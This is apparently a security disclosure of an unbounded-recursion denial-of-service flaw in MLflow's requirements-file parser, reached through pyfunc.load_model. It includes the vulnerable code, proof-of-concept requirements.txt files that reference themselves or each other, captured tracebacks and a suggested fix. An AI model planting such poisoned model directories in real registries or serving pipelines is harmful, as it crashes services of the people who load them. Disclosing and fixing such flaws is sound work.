# MLflow requirements.txt `-r`/`-c` reference cycle → unbounded recursion (RecursionError) DoS at `pyfunc.load_model` (non-RCE) **Target:** `mlflow` (mlflow/mlflow) **Verified version:** mlflow **3.14.0**, CPython **3.13.12**, `sys.getrecursionlimit() == 1000` (Linux) **Vulnerable file:** `mlflow/utils/requirements_utils.py` — function `_parse_requirements` **Class:** Uncontrolled recursion / Denial of Service (CWE-674). Non-RCE. **Trigger:** Default `mlflow.pyfunc.load_model()` on an attacker-supplied model directory. No inference, no valid model, no user input required. --- ## Summary `_parse_requirements` resolves pip requirements/constraints file references (`-r ` / `-c `) recursively via `yield from _parse_requirements(abs_path, ...)` with **no cycle detection, no visited-set, and no depth bound**. Because `abs_path = os.path.join(base_dir, req_file)` is resolved relative to the directory of the *current* file, a `requirements.txt` that references itself (`-r requirements.txt`) — or a set of files that form a reference cycle — causes the generator to re-enter without bound and exhaust the CPython recursion limit, raising an uncaught `RecursionError` that crashes the process/worker. It also opens ~1000 nested file handles along the way. The `requirements.txt` file ships inside **every** MLflow model directory and is fully attacker-controlled. On the **default** `mlflow.pyfunc.load_model()` path it is parsed at `pyfunc/__init__.py:1136` (`_get_pip_requirements_from_model_path` → line 1070 → `_parse_requirements`) **before** `Model.load()` and flavor validation. So merely loading a malicious model — with no valid flavor, no inference, no user-supplied input — crashes the caller. ## Root cause (code) `mlflow/utils/requirements_utils.py` (verified verbatim in mlflow 3.14.0): ```python def _parse_requirements(requirements, is_constraint=False, base_dir=None): if base_dir is None: if isinstance(requirements, (str, Path)): base_dir = os.path.dirname(requirements) # line 118 with open(requirements) as f: requirements = f.read().splitlines() else: base_dir = os.getcwd() ... for line in lines: if _is_requirements_file(line): req_file = line.split(maxsplit=1)[1] abs_path = os.path.join(base_dir, req_file) yield from _parse_requirements(abs_path, is_constraint=False) # line 136 — no cycle/depth guard elif _is_constraints_file(line): req_file = line.split(maxsplit=1)[1] abs_path = os.path.join(base_dir, req_file) yield from _parse_requirements(abs_path, is_constraint=True) # no cycle/depth guard else: yield _Requirement(line, is_constraint) ``` There is no `visited` set of already-parsed paths and no recursion-depth counter, so a self- or mutually-referencing chain recurses until the interpreter's recursion limit is hit. ### Reached on the default load path (before flavor validation) `mlflow/pyfunc/__init__.py`: - `load_model()` → line 1136: `model_requirements = _get_pip_requirements_from_model_path(local_path)` - `_get_pip_requirements_from_model_path()` → line 1070: `return [req.req_str for req in _parse_requirements(req_file_path, is_constraint=False)]` This runs **before** `Model.load()` / flavor checks, confirming a valid model is not needed to trigger. ## PoC Build a model directory containing an `MLmodel` stub and a poisoned `requirements.txt`. **Variant A — self-reference:** ``` requirements.txt: scikit-learn -r requirements.txt ``` **Variant B — cycle (two files):** ``` requirements.txt: mlflow -r extra.txt extra.txt: -r requirements.txt ``` Then: ```python import mlflow mlflow.pyfunc.load_model("") # raises uncaught RecursionError ``` `repro.py` (included) builds all three model dirs (self-ref, cycle, benign control) and runs each. ## Negative control A benign `requirements.txt` (`scikit-learn==1.3.0\nnumpy\n`) parses fine — it only emits a dependency-mismatch **WARNING** — and load then proceeds normally to the flavor check, raising `MlflowException: Model does not have the "python_function" flavor` for the stub `MLmodel`. This proves the crash in the malicious cases is specifically the requirements-file recursion, occurring *before* any model / flavor parsing. ## Captured evidence (verbatim, mlflow 3.14.0 / CPython 3.13.12 / reclimit 1000) ``` 2026/07/16 16:27:58 WARNING mlflow.utils.requirements_utils: Detected one or more mismatches between the model's dependencies and the current Python environment: - scikit-learn (current: 1.9.0, required: scikit-learn==1.3.0) To fix the mismatches, call `mlflow.pyfunc.get_model_dependencies(model_uri)` to fetch the model's environment and install dependencies using the resulting environment file. ### self-reference (-r requirements.txt) -> .../models/selfref -> RecursionError. _parse_requirements in tb: True Traceback (most recent call last): File ".../repro.py", line 30, in run ... yield from _parse_requirements(abs_path, is_constraint=False) [Previous line repeated 990 more times] File ".../mlflow/utils/requirements_utils.py", line 118, in _parse_requirements base_dir = os.path.dirname(requirements) File "", line 179, in dirname RecursionError: maximum recursion depth exceeded ### cyclic (requirements.txt <-> extra.txt) -> .../models/cycle -> RecursionError. _parse_requirements in tb: True Traceback (most recent call last): File ".../repro.py", line 30, in run ... yield from _parse_requirements(abs_path, is_constraint=False) [Previous line repeated 990 more times] File ".../mlflow/utils/requirements_utils.py", line 118, in _parse_requirements base_dir = os.path.dirname(requirements) File "", line 179, in dirname RecursionError: maximum recursion depth exceeded ### NEGATIVE CONTROL benign requirements.txt -> .../models/benign -> MlflowException: Model does not have the "python_function" flavor mlflow 3.14.0 | py 3.13.12 reclimit 1000 ``` Full-traceback variant captured directly at `load_model`: ``` Traceback (most recent call last): ... File ".../mlflow/pyfunc/__init__.py", line 1136, in load_model model_requirements = _get_pip_requirements_from_model_path(local_path) File ".../mlflow/pyfunc/__init__.py", line 1070, in _get_pip_requirements_from_model_path return [req.req_str for req in _parse_requirements(req_file_path, is_constraint=False)] File ".../mlflow/utils/requirements_utils.py", line 136, in _parse_requirements yield from _parse_requirements(abs_path, is_constraint=False) [Previous line repeated 991 more times] File ".../mlflow/utils/requirements_utils.py", line 118, in _parse_requirements base_dir = os.path.dirname(requirements) RecursionError: maximum recursion depth exceeded ``` ## Impact - Loading an attacker-supplied MLflow model (a common operation: model registry pulls, `pyfunc.load_model`, serving/scoring servers that materialize a model before serving) crashes the process/worker with an uncaught `RecursionError`. - Also transiently opens ~1000 nested file descriptors before unwinding. - Non-RCE; availability impact only. ## Suggested fix Track visited absolute paths (canonicalized via `os.path.realpath`) in a set threaded through the recursion, and/or impose a maximum include depth; raise a clear `MlflowException` on a cycle or when the depth cap is exceeded — mirroring how pip itself guards requirements-file includes. ## Dedup note - Distinct from the MLflow **signature/schema recursion** DoS (`_dataframe_from_json` / TensorSpec / ParamSpec paths) — that is a different code path in the model-signature deserializer. This finding is in the **pip-requirements file parser** `_parse_requirements`, reached via `_get_pip_requirements_from_model_path` on the default `pyfunc.load_model` path, and is triggered purely by `requirements.txt` include directives. - Distinct from `mlflow-pyfunc-artifacts-path-traversal` and the flavor-loader RCE findings. - No known CVE covers `-r`/`-c` reference-cycle unbounded recursion in `_parse_requirements` at the time of writing.